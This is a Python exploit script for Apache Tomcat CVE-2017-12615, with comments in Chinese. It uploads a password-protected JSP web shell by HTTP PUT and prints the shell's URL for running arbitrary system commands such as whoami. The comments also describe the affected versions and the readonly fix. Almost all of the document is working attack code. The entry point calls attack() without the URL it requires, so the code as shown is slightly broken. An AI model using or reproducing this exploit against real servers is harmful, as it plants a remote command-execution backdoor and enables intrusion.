49 lines
1.7 KiB
Python
49 lines
1.7 KiB
Python
# -*- coding: utf-8 -*-
|
||
import sys
|
||
import requests
|
||
import time
|
||
|
||
'''
|
||
Usage:
|
||
moon.py -u tomcat http://127.0.0.1:8080
|
||
shell: http://127.0.0.1:8080/201712615.jsp?pwd=fff&cmd=whoami
|
||
影响范围:Linux/Windows Tomcat: 7.0.0 to 7.0.79 - 官网数据
|
||
成因:Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件
|
||
最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true
|
||
'''
|
||
|
||
def attack(URL):
|
||
print('[+]开始检测-Tomcat-CVE-2017-12615。[+]')
|
||
url = URL + '/T68t8YT86.jsp/'
|
||
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
|
||
headers={"User-Agent":user_agent}
|
||
data="""<%
|
||
if("fff".equals(request.getParameter("pwd"))){
|
||
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
|
||
int a = -1;
|
||
byte[] b = new byte[2048];
|
||
out.print("<pre>");
|
||
while((a=in.read(b))!=-1){
|
||
out.println(new String(b));
|
||
}
|
||
out.print("</pre>");
|
||
}
|
||
%>"""
|
||
try:
|
||
requests.put(url, headers=headers, data=data)
|
||
time.sleep(2)
|
||
verify_response = requests.get(url[:-1], headers=headers, allow_redirects=False)
|
||
if verify_response.status_code == 200:
|
||
print('存在-Tomcat-CVE-2017-12615!!!')
|
||
print('shell: ' + url[:-1]+'?pwd=fff&cmd=whoami')
|
||
else :
|
||
print('访问shell地址:'+verify_response.status_code)
|
||
print("未发现-Tomcat-CVE-2017-12615。")
|
||
except :
|
||
print("未发现-Tomcat-CVE-2017-12615。")
|
||
print('[+]检测结束-Tomcat-CVE-2017-12615。[+]')
|
||
print('\n')
|
||
|
||
if __name__ == "__main__":
|
||
attack()
|